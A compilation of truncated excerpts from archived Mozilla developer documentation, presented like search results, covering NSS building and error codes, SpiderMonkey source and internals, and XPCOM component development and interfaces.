nsprpub. the subdirectories dbm, security/dbm, security/coreconf, security/nss were part of the nss sources.) the nss directory contains the following important subdirectories: nss/coreconf contains knowledge for cross platform building. nss/lib contains all the library code that is used to create the runtime libraries used by applications. nss/cmd contains a set of various tool programs that are built using nss. several tools are general purpose and can be used to inspect and manipulate the storage files that software using the nss library creates and modifies. other tools are only used for testing purposes. however, all these tools are good examples of how to write software that makes use of the nss library. nss/test this directory contains the nss test suite, which is routi...
...extension, inside the nss/lib directory hierarchy. any c function that isn't contained in .def files is strictly for private use within nss, and applications and test tools are not allowed to call them. for any functions that are listed in the .def files, nss promises that the binary function interface (abi) will remain stable. building nss nss is built using gyp and ninja, or with make on systems that don't have those tools. the complete build instructions include more information. once the build is done, you can find the build output below directory dist/?, where ? will be a name dynamically derived from your system's architecture. exported header files for nss applications can be found in directory "include", library files in directory "lib", and the tools in directory "bin". in order ...
... will start tcp/ip server tools on your computer, and in order for that to work, the nss test suite needs to know which hostname can be used by client tools to connect to the server tools. on machines that are configured with a hostname that has been registered in your network's dns, this should work automatically. in other environments (for example in home networks), you could set the host and domsuf (for domain suffix) environment variables to tell the nss suite which hostname to use. as a test, it must be possible to successfully use the command "ping $host.$domsuf" on your computer (ping reports receiving replies). on many computers the variables host=localhost domsuf=localdomain works. in case you built nss in 64 bits, you need to set the use_64 environment variable to 1 to run the test...
Overview of NSS
r, red hat certificate system, and the mod_nss ssl module for the apache web server. server products from oracle (formerly sun java enterprise system), including oracle communications messaging server and oracle directory server enterprise edition. suse linux enterprise server supports nss and the mod_nss ssl module for the apache web server. nss includes a framework to which developers and oems can contribute patches, such as assembler code, to optimize performance on their platforms. nss 3.x has been certified on 18 platforms. for more detailed information about nss, see wiki.mozilla.org and nss faq. source code for a java interface to nss is available in the mozilla cvs tree. for details, see network security services for java. nss makes use of netscape portable runtime (nspr), a p...
...tion of private keys. pkcs #9. rsa standard that governs selected attribute types, including those used with pkcs #7, pkcs #8, and pkcs #10. pkcs #10. rsa standard that governs the syntax for certificate requests. pkcs #11. rsa standard that governs communication with cryptographic tokens (such as hardware accelerators and smart cards) and permits application independence from specific algorithms and implementations. pkcs #12. rsa standard that governs the format used to store or transport private keys, certificates, and other secret material. s/mime (rfc 2311 and rfc 2633). ietf message specification (based on the popular internet mime standard) that provides a consistent way to send and receive signed and encrypted mime data. x.509 v3. itu standard that governs the format of certific...
...kix certificate and crl profile (rfc 3280). the first part of the four-part standard under development by the public-key infrastructure (x.509) working group of the ietf (known at pkix) for a public-key infrastructure for the internet. rsa, dsa, ecdsa, diffie-hellman, ec diffie-hellman, aes, triple des, des, rc2, rc4, sha-1, sha-256, sha-384, sha-512, md2, md5, hmac: common cryptographic algorithms used in public-key and symmetric-key cryptography. fips 186-2 pseudorandom number generator. for complete details, see encryption technologies. fips 140 validation and niscc testing the nss software crypto module has been validated three times for conformance to fips 140 at security levels 1 and 2. for more information, see the nss fips page (or this one). the nss libraries passed the niscc...
sslerr.html
rade encryption which is not supported." the remote system was configured to support the cipher suites permitted for domestic use. the local system was configured to support only the cipher suites permitted for export use. ssl_error_no_cypher_overlap -12286 "cannot communicate securely with peer: no common encryption algorithm(s)." the local and remote systems share no cipher suites in common. this can be due to a misconfiguration at either end. it can be due to a server being misconfigured to use a non-rsa certificate with the rsa key exchange algorithm. ssl_error_no_certificate -12285 "unable to find the certificate or key necessary for authentication." this error has many potential causes; for example: certificat...
...specified template was invalid." sec_error_crl_...
...specified template was invalid." sec_error_crl_not_found -8055 "no matching crl was found." sec_error_reused_issuer_and_serial -8054 "you are a...
NSS tools : signtool
[--verbose value] ] [[--norecurse] ] [[--leavearc] ] [[-j directory] ] [[-z jarfile] ] [[-o] ] [[-p password] ] [directory-tree] [archive] description the signing tool, signtool, creates digital signatures and uses a java archive (jar) file to associate the signatures with files in a directory. electronic software distribution over any network involves potential security problems. to help address some of these problems, you can associate digital signatures with the files in a jar archive. digital signatures allow ssl-enabled clients to perform two important operations: * confirm the identity of the individual, company, or other entity whose digital signature is associated with the files * check whether the files have been tampered with since being signed ...
... specifies the nickname (key) of the certificate you want to sign with and signs the files in the specified directory. the directory to sign is always specified as the last command-line argument. thus, it is possible to write signtool -k mycert -d . signdir you may have trouble if the nickname contains a single quotation mark. to avoid problems, escape the quotation mark using the escape conventions for your platform. it's also possible to use the -k option without signing any files or specifying a directory. for example, you can use it with the -l option to get detailed information about a particular signing certificate. -g nickname generates a new private-public key pair and ...
...ate db": [password will not echo] generated public/private key pair certificate request generated certificate has been signed certificate "mytestcert" added to database exported certificate to x509.raw and x509.cacert. the certificate information is read from standard input. therefore, the information can be read from a file using the redirection operator (<) in some operating systems. to create a file for this purpose, enter each of the seven input fields, in order, on a separate line. make sure there is a newline character at the end of the last line. then run signtool with standard input redirected from your file as follows: signtool -g mytestcert inputfile the prompts show up on the screen, but the responses will be automatically read from the file. the p...
Getting SpiderMonkey source code
getting the latest spidermonkey source code from mercurial the mercurial repository at https://hg.mozilla.org/mozilla-central/ hosts the latest spidermonkey sources. mercurial is also known as hg. the following command line downloads the entire mozilla repository, including the full change history and a lot of ...
...ory and a lot of gecko and firefox source code that isn't part of spidermonkey. it also changes to the spidermonkey directory (js/src). hg clone https://hg.mozilla.org/mozilla-central/ cd js/src to avoid getting the full change history, click the zip or gz links at https://hg.mozilla.org/index.cgi/mozilla-central/file/tip. this fetches a snapshot of the current mozilla tree. if you have problems with the instructions above, you can read the full details of using mercurial to get mozilla code here. that page also contains links to several bundles, which can be useful if you have a poor network connection. getting the latest spidermonkey source code from git the following command line downloads the entire mozilla repository, including the full change history and a lot of gecko and firefo...
...ecko and firefox source code that isn't part of spidermonkey. it also changes to the spidermonkey directory (js/src). git clone https://github.com/mozilla/gecko-dev.git cd gecko-dev/js/src if you want a faster (about 5 times as of january 2015) download, try doing a shallow clone (no version control history). git clone --depth 1 https://github.com/mozilla/gecko-dev.git if you have any problems check the https://wiki.mozilla.org/github page. getting older spidermonkey sources from cvs note: you will need to explicitly fetch the javascript shell sources even if you currently build another mozilla project, as there are files specific to the shell that are not normally found in a mozilla source tree. just like when you're fetching any other mozilla project from cvs, you need to log into...
Invariants
er become non-native. (one reason for this is that the object may have watchpoints set; the watchpoint machinery assumes that all objects with watched properties are native. there may be other reasons that cover more cases, but nobody can remember one.) all jsobjects and heap-allocated jsstrings must be 8-byte-aligned. (the jsval encoding depends on this.) the jsstackframe::down chain never forms a cycle. (it's a stack. but note that a stack frame is not necessarily newer than the next stack frame down, thanks to generators!) an object's scope chain (found by chasing jsobject::fslots[jsslot_parent]) never forms a cycle. (we can probably loop forever if that happens. js_setparent can violate this, if the application is really that dumb, but generally every object is newer than its __pa...
...rent global object. (if it is a script function, global names accessed in that function would refer to a different global object. even if the function is native, there is serious trouble: js_newobject with null parent argument calculates the parent from cx->fp->scopechain, which can be stale if we're on trace.) the chain of properties starting at any jsshape and chasing jsshape::parent never forms a cycle and does not contain any duplicate jsscopeproperty::slot values other than -1. (a cycle would be very silly and could cause infloops. the same slot being allocated to more than one property would be a problem for obvious reasons.) all jsshapes in dictionary-mode objects have the in_dictionary flag set. all jsshapes in property trees have it cleared. if an object is inextensible, its dsl...
...ap), we never call a jsapi callback with a property locked. (that would risk deadlock too.) name instructions the first operand to a jsop_setname instruction is always produced by a preceding jsop_bindname instruction. (taken together, ecma 262-3 §11.13.1 and ecma 262-3 §10.1.4 specify that in an assignment such as x = f(), the name lookup for x occurs before f is called. jsop_bindname performs this lookup.) the rules below (not exactly invariants) govern the bytecode emitted for nameexpressions. background: the fastest instructions for nameexpressions are fat opcodes that combine a load with additional operations, as in jsop_inclocal or jsop_getlocalprop. failing that, jsop_{get,call,set}local and jsop_{get,call,set}arg are the fastest, followed by jsop_{get,call}upvar, jsop_{get,cal...
JSAPI Cookbook
basics working with values the basic, undifferentiated value type in the jsapi is js::value. ...
... basics working with values the basic, undifferentiated value type in the jsapi is js::value. ...
...mply omit the property attribute bits you don't want. /* jsapi */ if (!js_defineproperty(cx, obj, "prop", int_to_jsval(123), js_propertystub, js_strictpropertystub, jsprop_readonly | jsprop_enumerate | jsprop_permanent)) { return false; } defining a property with a getter and setter object.defineproperty() can be used to define properties in terms of two accessor functions. // javascript object.defineproperty(obj, "prop", {get: getpropfunc, set: setpropfunc, enumerable: true}); in the jsapi version, getpropfunc and setpropfunc are c/c++ functions of type jsnative. /* jsapi */ if (!js_defineproperty(cx, obj, "prop", js::undefinedvalue(), (jspr...
TPS Bookmark Lists
within each folder, the second item in the list is assumed to be immediately after the first item, and so forth...
...within each folder, the second item in the list is assumed to be immediately after the first item, and so forth. ...
... in the list are verified to be present. within each folder, the second item in the list is assumed to be immediately after the first item, and so forth. if the second item in a given folder is not directly after the first item in that folder, it's an error. after and before properties, if specified, are also used to verify an item's position. however, because crossweave verifies that bookmark items appear in the order that they are given in the asset list, after and before are not very useful except in verifying the position of the first item in the list. bookmarks.verifynot - the bookmark items in the list are verified not to be present. bookmarks.modify - the changes properties of the bookmark items are applied, after the items have been verified to exist. if a location property exists in...
WebReplayRoadmap
t is used, or what type a value has. these questions can be answered by analyzing one or more recordings to study their behavior in detail. if the debugger could perform this analysis then it could show this information to developers and help them understand the app even when they are not actively debugging a particular recording. static type integration (not yet implemented) static type systems like flow and typescript are great and really useful for managing an app's codebase, but they are unsound by design, and it is pretty easy to satisfy the type system and yet have different types in practice. a recording can be analyzed for the types that appear in practice. these can be compared with the types provided to the type system, and any mismatches can be flagged. the points in the re...
...everal web features are not supported when recording/replaying. while tabs with these features won't (or shouldn't!) crash, the features are disabled and the tab will not be fully usable. some of these will be easier to support than others. media elements (bug 1304146) web audio (bug 1304147) webrtc (bug 1304149) webassembly (bug 1481007) webgl (bug 1506467) support more operating systems (not yet implemented) only macos is supported right now. web replay's architecture should allow it to work on any operating system: the os features needed are not specific to macos or to posix systems. still, porting it to other posix systems (linux, android) will be easier than windows, due to the overlap with macos. there is, however, a partial windows port from an older version of the arch...
...tecture that can replay a simple page but not rewind, which should make writing a complete windows port easier. cloud integration (partially implemented) storing recordings in the cloud and interacting with them via the debugger could streamline several features described above: difficulties when recording and replaying on different machines with incompatible firefox builds or operating systems will be smoothed out. recordings can be uploaded, and cloud services can locate the correct build and os needed to replay them. management of a corpus of recordings (some which may have been made with different builds or operating systems) will be easier to manage, with shared storage in the cloud. expensive dynamic analyses are easier to run in the cloud, allowing a high level of parallelism ...
Mozilla Projects
cumentation about these projects. compare-locales compare-locales is a python script that helps localizers to check their work without running firefox or another application. crash reporting firefox ships with an open-source crash reporting system. this system is combination of projects: emscripten emscripten is an llvm to javascript compiler. it takes llvm bytecode (e.g. generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web. firefox sync firefox sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among ...
... — mozilla's open standards-based flash renderer — and what it means for the community of developers currently creating the adobe flash platform. spidermonkey: the mozilla javascript runtime standalone source code releases can be found on the releases page. thread sanitizer thread sanitizer (tsan) is a fast data race detector for c/c++ programs. it uses a compile-time instrumentation to check all non-race-free memory access at runtime. unlike other tools, it understands compiler-builtin atomics and synchronization and therefore provides very accurate results with no real false positives. more information on how tsan works can be found on the thread sanitizer wiki. tps tests ...
...t. it is completely free, open source and can be included in any tool whether open or closed, free or commercial. zest is still at a very early stage of development, but is has been made available so that anyone can play around with it. all constructive feedback is very welcome. anyone can contribute to the onward development of zest, and teams or individuals who develop security tools are especially welcome to join and help shape zest's future. ...
The Rust programming language
it prevents segmentation faults and guarantees thread safety, all with an easy-to-learn syntax. in addition, rust offers zero-cost abstractions, move semantics, guaranteed memory safety, threads with no data races, trait-based generics, pattern matching, type inference, and efficient c bindings, with a minimum runtime size. to learn more about rust, you can: watch the videos below for a closer look at the power and benefits rust provides. read the book the rust programming language online. ...
...erence, and efficient c bindings, with a minimum runtime size. to learn more about rust, you can: watch the videos below for a closer look at the power and benefits rust provides. ...
...atch the videos below for a closer look at the power and benefits rust provides. read the book the rust programming language online. ...
History Service Design
this system provides additional performance, flexibility, and querying capabilities over the old one, for both end users and extensions developers. view the service interface definition: nsinavhistoryservice.idl. ...
... executed with storage apis. many queries can be executed and combined at the same time. an history container node is built (the so-called rootnode), this node will fill itself. finally the root node is assigned to a history result object, that can be furtherly modified setting for example a sorting mode. only the first level of a node is usually filled, internal nodes or queries will populate themselves when opened. an implementer working on a ui can then associate a viewer with the result, so that it will be notified when the result tree changes. queries can act on a variety of datas, coming from all dependant services, so it is possible to query history, bookmarks or both, also with values coming from other services like tags, annotations. result nodes can be simple uri nodes with page ...
...or bookmarks associated with it. visits are expired based on user preferences, there is an hard limit on the minimum number of days that should be retained, visits in that range won't never expire. visits inside a slushy limit (> than the hard limit) will be removed only if we are over a maximum number of pages we can retain, for performance issues. finally expiration can be forced by the user himself to clean up the full history or slices of it (last hour, last day, ...). see places expiration for more information. ...
XML Extras
the xml extras module contains several features that allow developers to treat xml as data i.e. not as just another document format. the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users. the xml extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds. feature status feature status xmlserializer available xmlhttprequest available domparser (string and stream input source) available web services with soap and wsdl no longer available from gecko 1.9/firefox 3. xml persistence fixptr and xpointer available since 1.4alpha in the core mozilla. moved to xml...
...ng code" and "implement a flexible shopping cart with xml and asp". the mozilla developer center has several pages for xmlhttprequest. below are some key differencies in "xml extras" between mozilla and microsoft software: difference microsoft mozilla member names case insensitive? begins with lower case letter xmlhttprequest creation new activexobject("msxml2.xmlhttp") new xmlhttprequest() xmlhttprequest.send("some string") ok ok starting with milestone 0.9.7 (actually nightly 2001-11-28). with older builds, passing strings to send() works only in chrome, see post.html sample. the "workaround" is to use domparser object's parsefromstring() method to create a document from string, and pass the temporary document into send(). ...
... new domparser() xmlserializer creation not available new xmlserializer() minimal documentation for the components listed above can be found using mozilla documentation generated by doxygen. file new bugs for additional documentation contributions, either specifically aimed at javascript developers or to complete & clarify the javadoc-style comments in the idl files. nsidomserializer (currently, the javascript constructor is xmlserializer()) nsidomparser (currently, the javascript constructor is domparser()) nsixmlhttprequest please see the xml linking and pointing section in xml in mozilla document for fixptr and xpointer documentation. how can i help? help with testing the components contained within the module. contribute documentation to the module. hel...
How to build an XPCOM component in JavaScript
se l.) this will create the typelib file helloworld.xpt in the current working directory. for a new component in firefox/thunderbird/b2g if you are adding a new feature to applications in the mozilla-central repository, you can create a makefile listing the idl files and the build system will automatically generate the typelib. a sample makefile.in # this source code form is subject to the terms of the mozilla public # license, v. 2.0. if a copy of the mpl was not distributed with this # file, you can obtain one at http://mozilla.org/mpl/2.0/. depth = @depth@ topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk # module specifies where header files from this makefile are installed # use dom if your component implements a dom api module = dom ...
... factory is used, which returns // |(new mycomponent()).queryinterface(iid)| in its createinstance(). _xpcom_factory: { ... }, // [optional] an array of categories to register this component in. _xpcom_categories: [{ // each object in the array specifies the parameters to pass to // nsicategorymanager.addcategoryentry(). 'true' is passed for both // apersist and areplace params. category: "some-category", // optional, defaults to the object's classdescription entry: "entry name", // optional, defaults to the object's contractid (unless 'service' is specified) value: "...", // optional, defaults to false. when set to true, and only if 'value' is not // specified, the concatenation of the string "service," and the object's contractid // ...
...for more information about wrappedjsobject, see here. using xpcom instantiation try { var mycomponent = components.classes['@dietrich.ganx4.com/helloworld;1'] .createinstance(components.interfaces.nsihelloworld); alert(mycomponent.hello()); } catch (anerror) { dump("error: " + anerror); } other resources rm lantwo mozillazine forums threads about implementing xpcom components in js with some explanations, example code, and troubleshooting tips: http://forums.mozillazine.org/viewtopic.php?t=308369 http://forums.mozillazine.org/viewtopic.php?t=367298 implementing xpcom components in javascript at kb.mozillazine.org using xpcom in javascript without leaking - a must-read. an example component older js+xpcom no...
XPCOM changes in Gecko 2.0
n interfaces; from now on, all interfaces are subject to change. documentation will be updated as time allows to remove references to interfaces being "frozen" or "unfrozen." component registration the way xpcom components are registered changed in gecko 2. prior to gecko 2, during component registration, all binary and javascript component files were loaded and called, asking them to register themselves. if you used xpcomutils.jsm, some of this was hidden from you, but it was still there. starting in gecko 2, however, components are registered using manifest files, similarly to how chrome is registered. in fact, the same chrome manifest file will be used to register components. all existing xpcom components will need to be updated to support this. however, it's very easy to do, and you can ...
...ajor release of firefox starting with firefox 4. your life would be much easier over the long term if you switch to using js-ctypes instead. also note that extensions using binary components must now use the unpack property in the install manifest. ...
... property in the install manifest. platform-specific directories the component/chrome system used to look in platform-specific subdirectories of an extension, such as platform/winnt_x86-msvc/chrome.manifest on windows. this is no longer supported. you can use the os and abi chrome registration directives to achieve the same effect: binary-component components/windows/mycomponent.dll abi=winnt_x86-msvc binary-component components/mac/mycomponent.dylib abi=darwin_x86-gcc3 binary-component components/mac/mycomponent64.dylib abi=darwin_x86_64-gcc3 binary-component components/linux/mycomponent.so abi=linux_x86-gcc3 this also means that platform-specific preferences are no longer possible. if you need to adjust default preferences based on platform, you can do so at first run by looking up what p...
Building the WebLock UI
e it's installed and registered, the weblock component itself is ready to go: xpcom finds it and adds it to the list of registered components, and then weblock observes the xpcom startup event and initializes itself. but you still have to add your new ui into the browser so it can call the component, and the mozilla overlay mechanism is the way to do this. overlays are xul files that register themselves to be dynamically inserted into the appropriate parts of the browser ui at runtime. weblockoverlay.xul the xul that defines the new icon is small: it's a little icon that calls a javascript function to load the weblock.xul file we defined previously. the icon is actually a separate <statusbarpanel/> element that gets overlaid into the main browser, along with some javascript and some css t...
... class="statusbarpanel-iconic" id="weblock-status" insertbefore="offline-status" oncommand="loadweblock();" status="none"/> </statusbar> </overlay> note that the root element for this file is not a <window/> but an <overlay/>. in overlays the ordinarily unique id attributes that xul elements use to distinguish themselves are purposely made redundant with ui in the existing browser with which they should be merged. in this case, the weblock <statusbarpanel/> appears as a child of the <statusbar/> element with id "status-bar". this id is the same one used by the <statusbar/> in navigator.xul, which means that the overlay mechanism will merge the new ui here (i.e., the weblock statusbarpanel) and the ui already...
...install both the weblock component and the user interface described in this chapter. note, however, that currently weblock probably does not install cleanly in mozilla firefox due to firefox's newness compared to this book (which was originally written in 2003). « previousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
Component Internals
an register your component explicitly during installation, or with the regxpcom program, or you can use the autoregistration methods in the service manager to find and register components in a specified components directory: xpinstall apis regxpcom command-line tool nsicomponentregistrar apis from service manager the registration process is fairly involved. this section introduces it in terms of xpcom initialization, and the next chapter describes what you have to do in your component code to register your component with xpcom. once the manifest files are read in, xpcom checks to see if there are any components that need to be registered. there are two supported ways to go about registering your xpcom component. the first is to use xpinstall, which is an installation technology that...
...ibed in the mozilla string guide (see gecko resources). the string classes that implement these abstract classes are another set of helpful, unfrozen classes in xpcom. most components and embedding applications need to link to some string class or other in order to utilize certain gecko apis, but the string code that mozilla uses is highly complex and even more expensive than the glue code in terms of footprint (~100k). nsembedstring and nsembedcstring are available as very lightweight string implementations for component development, especially in small embedded applications. this string implementation does the bare minimum to support the nsastring/nsacstring functionality. in your own component, you can go "slim" and restrict yourself to the nsembedstring or go "hog wild" and use any of ...
...ically loads these symbols from the xpcom library, which allows the component to avoid linking directly with the xpcom library. you shouldn't have to link to the xpcom library to create a xpcom component - in fact, if your component has to, then something is wrong. « previousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
Packaging WebLock
the first section, component installation overview, describes the general installation process in mozilla. the following sections describe the steps you can take to organize the weblock component for distribution and installation. ...
...d to one another and the application itself. javascript apis from the xpinstall install object download the jar in which the installable files appear and call registration methods that tell mozilla about the new component and the ui it uses to access the weblock component. weblock installation script is the completetrigger installation script, which can be launched from a web page. the files themselves are stored in the jar file weblock.jar, which is simple a zip file with the xpi extension that sometimes also contains an internal installation file called install.js. once you have the component and the other resources for weblock packaged properly (see the following section, archiving resources), the installation script for weblock is a simple one (see the weblock installation script). a...
...he main install object, which is implied in the script below in the same way that the window object is implied in javascript manipulation of the dom of a web page. in other words, the fragment initinstall() from the script is equivalent to install.initinstall(). « previousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
Using XPCOM Components
ies->getlength(&len); for (int c=0; c<len; c++) cookiemanager->remove(deletedcookies[c].host, deletedcookies[c].name, deletedcookies[c].path, pr_false); xxx: in the original document, there were only the first three parameters to the |remove| call. i added |pr_false| as a fourth parameter because the interface seems to require it: http://lxr.mozilla.org/mozilla/source/netwerk/cookie/public/nsicookiemanager.idl#64 this problem also appears in the javascript version below, and i've added |false| as a fourth parameter there as well. if your application is written in c++, then managing cookies from cpp shows the steps you take to get an xpcom component, specify the interface on that component you want to use, a...
...letions() { for (var c=0; c<deletedcookies.length; c++) { cmgr.remove(deletedcookies[c].host, deletedcookies[c].name, deletedcookies[c].path, false); } deletedcookies.length = 0; } xxx: in the original document, there were only the first three parameters to the |remove| call. i added |false| as a fourth parameter because the interface seems to require it: http://lxr.mozilla.org/mozilla/source/netwerk/cookie/public/nsicookiemanager.idl#64 this problem also appears in the c++ version above, and i've added |pr_false| as a fourth parameter there as well. beyond the methods that are being called on the cookiemanager itself (e.g., cookiemanager.remove, which maps to the remove() function in the nsicookiemanager interface), note the speci...
... general use. private interfaces do not have the same requirements as the ones that are made available publicly in idl. note: cookie-manager-in-tutorial the cookiemanager component is used to persist for the web locking functionality described in this tutorial. « previousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
XPCOM hashtable guide
this is the simplified version of the detailed xpcom hashtable guide. everything you need to know is probably on this page. also note that mfbt/hashtable.h now exists. it is a lot faster than the xpcom hashtables due to more inlining and templating, and the api is arguably better. what is a hashtable? a hashtable is a data construct that stores a set of items. each item has a key that identifies the item. items are found, added, and removed from the hashtable by using the key. hashtables may seem like arrays, but there are important differences: array hashtable keys: integer: arrays are always keyed on integers, and must be contiguous. any type: almost any datatype can be used as key, including strings, integers, xpcom interface pointers, iids, ...
...h keys 1, 5, and 3000). lookup time: o(1): lookup time is a simple constant o(1): lookup time is mostly-constant, but the constant time can be larger than an array lookup sorting: sorted: stored sorted; iterated over in a sorted fashion. unsorted: stored unsorted; cannot be iterated over in a sorted manner. inserting/removing: o(n): adding and removing items from a large array can be time-consuming o(1): adding and removing items from hashtables is a quick operation wasted space: none: arrays are packed structures, so there is no wasted space. some: hashtables are not packed structures; depending on the implementation, there may be significant wasted memory. in their implementation, hashtables take the key and apply a mathema...
...domize the key and then use the hash to find the location in the hashtable. good hashtable implementations will automatically resize the hashtable in memory if extra space is needed, or if too much space has been allocated. when should i use a hashtable? hashtables are useful for sets of data that need swift random access; with non-integral keys or non-contiguous integral keys; or where items will be frequently added or removed. hashtables should not be used for sets that need to be sorted; very small datasets (less than 12-16 items); data that does not need random access. in these situations, an array, a linked-list, or various tree data structures are more efficient. which hashtable should i use? the appropriate hashtable class to use depends solely on the data type. the...
Mozilla internal string guide
(). it takes two arguments: the new logical length of the string (which must not exceed the capacity retuned by the length() method of the handle) and a boolean indicating whether it's ok to attempt to reallocate a smaller buffer in case a smaller mozjemalloc bucket could accommodate the new logical length. helper classes and functions converting cocoa strings use mozilla::copycocoastringtoxpcomstring() in mozilla/macstringhelpers.h to convert cocoa strings to xpcom strings. searching strings - looking for substrings, characters, etc. findinreadable() is the replacement for the old string.find(..). the syntax is: prbool findinreadable(const nsastring& pattern, nsastring::const_iterator start, nsastring::const_iterator end, nsstringcomparator&...
...converting implicitly to const nsstring& the benefits of the user-defined literals may seem unclear, given that nsdependentcstring will also wrap a string value in an nscstring. the advantage of the user-defined literals is that the length of these strings is calculated at compile time, so the string does not need to be scanned at runtime to determine its length. nowadays, all supported platforms have 16-bit literals using u""_ns, so we longer need to rely on macros for portability. // call init(const char16_t*) - bad signature, will need to do runtime length calculation inside init(l"start value"); // bad - l"..." is not portable! init(ns_convertasciitoutf16("start value").get()); // bad - runtime ascii->utf-16 conversion! init(u"start value"); // less bad, portable and no runtime conve...
...undaries. wstring char16_t* raw character pointer to utf-16 string, no string classes used. astring nsastring utf-16 string. acstring nsacstring 8-bit string. all bits are preserved across xpconnect boundaries. autf8string nsacstring utf-8 string. converted to utf-16 as necessary when value is used across xpconnect boundaries. domstring nsastring utf-16 string type used in the dom. the same as astring with a few odd xpconnect exceptions: when the special javascript value null is passed to a domstring parameter of an xpcom method, it becomes a void domstring. the special javascript value undefined becomes the string "undefined". c++ signatures in idl, in parameters are read-only, and the c++ signatures for *str...
NS_NewLocalFile
links, nsilocalfile** aresult ); parameters apath [in] a utf-16 string object that specifies an absolute filesystem path. this path does not need to reference an existing file. it is an error to pass a relative filesystem path. afollowlinks [in] this attribute will determine if the nsilocalfile instance will automatically resolve symbolic links. this parameter has no effect on unix systems. on windows, passing true causes shortcuts to be automatically resolved, and on macos, passing true causes finder aliases to be automatically resolved. aresult [out] a reference to the newly created nsilocalfile instance. return values the ns_newlocalfile function returns ns_ok if successful. otherwise, it returns an error code. ns_error_file_unrecognized_path indicates that the specifie...
...es to be automatically resolved. aresult [out] a reference to the newly created nsilocalfile instance. return values the ns_newlocalfile function returns ns_ok if successful. otherwise, it returns an error code. ns_error_file_unrecognized_path indicates that the specified path is invalid. this error is returned if a relative file path is passed to ns_newlocalfile. remarks on unix systems, the prefix "~/" is supported as a shorthand for the user's home directory. example code // create a local file that references c:\foo.txt nsresult rv; nscomptr<nsilocalfile> file; rv = ns_newlocalfile(nsembedstring(l"c:\\foo.txt"), pr_false, getter_addrefs(file)); if (ns_failed(rv)) return rv; note: gcc requires the -fshort-wchar option to compile this example since pr...
.... example code // create a local file that references c:\foo.txt nsresult rv; nscomptr<nsilocalfile> file; rv = ns_newlocalfile(nsembedstring(l"c:\\foo.txt"), pr_false, getter_addrefs(file)); if (ns_failed(rv)) return rv; note: gcc requires the -fshort-wchar option to compile this example since prunichar is an unsigned short. this example should compile by default under msvc. nsembedstring is used to convert the ucs-2 character array to an object that can be passed as a const nsastring& parameter. history this function was finalized for mozilla 1.0. see bug 129279 for details. see also nsilocalfile, nsifile ...
mozIRegistry
that together form the mozilla browser. the information below is intended to tell you everything you need to know about how to do that. summary clients will rely on nsrepository to create instances of a given class. clients requiring dynamic "binding" of clsids will be required to use some higher-level services (tbd) to figure out the clsids they should use. the intent is that such services themselves be built on top of the new moziregistry interface. we are proposing a new "moziregistry" xpcom interface that provides the same level of function as is currently provided by the "netscape registry" implemented in libreg. nsrepository will be modified to use this interface, thereby enabling alternative registry implementations to be substituted at run/link time. there will be two registry int...
...t it we won't be able to solve them in a timely fashion: if and when we remove what is currently a static binding of clsids, there will be the risk that required clsids won't be present. a corollary is that the build/install process will require updates to user "registry" to enable new class implementations to be accessible. our current build/install process doesn't quite step up to these problems as of yet. there are some bootstrapping issues related to using the service manager to access the moziregistry interface. currently, nsiservicemanager requires a clsid to access a service which hardcodes the implementation of that service. this issue needs to be resolved in order to enable alternative moziregistry implementations or to permit other service implementations to be bound at runtime.
...ng isn't yet covered in this document. see the note above. in this section, i'll discuss a number of different components, their requirements for dynamically binding to other components, and how they might utilize the core xpcom components to satisfy those requirements. i18n xul/xptoolkit app shell clsid binding protocols this is a placeholder for potential encapsulations of particular idioms for storing clsid information in the registry and using that information, along with nsrepository, to implement some instance creation protocol on top of the core xpcom services. i think these things can be divided into two categories, according to the basic service they provide: identifying the implementers of a given interface. figuring out an appropriate implementation given some arbitrary ...
GroupPosition
apositioningroup 1-based, similar to aria aria-posinset property. remark alternatively this information is exposed by nsiaccessible.attribute attribute, also see group attributes page. ...
... apositioningroup 1-based, similar to aria aria-posinset property. remark alternatively this information is exposed by nsiaccessible.attribute attribute, also see group attributes page. ...
... apositioningroup 1-based, similar to aria aria-posinset property. remark alternatively this information is exposed by nsiaccessible.attribute attribute, also see group attributes page. ...
nsIAlertsService
eters: subject: always null. topic: "alertfinished" when the alert disappears, "alertclickcallback" if the user clicks the text or "alertshow" (since gecko 22) when the alert is shown. data: the value of the cookie parameter passed into the showalertnotification method. name optional a name for the notification; this is not displayed in the alert. ...
... data optional the value of the cookie parameter passed to showalertnotification. principal optional the principal of the page that created the alert. ...
... data optional the value of the cookie parameter passed to showalertnotification. principal optional the principal of the page that created the alert. used for ipc security checks, and to determine whether the alert is actionable. inprivatebrowsing optional controls the image loading behavior. if true, the image url will be loaded in private browsing mode. ...
nsICollection
xpcom/ds/nsicollection.idlscriptable this interface represents a list of nsisupports items. it provides basic operations on those items like: getting, setting, appending, removing, and so on. inherits from: nsiserializable last changed in gecko 1.7 method overview void appendelement(in nsisupports item); void clear(); pruint32 count(); nsienumerator enumerate(); nsisupports getelementat(in pruint32 index); void queryelementat(in pruint32 index, in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); void removeelement(in nsisupports item); void setelementat(in pruint32 index, in nsisupports item); methods appendelement() appends a new item to the collection. void appendelement( in nsisuppo...
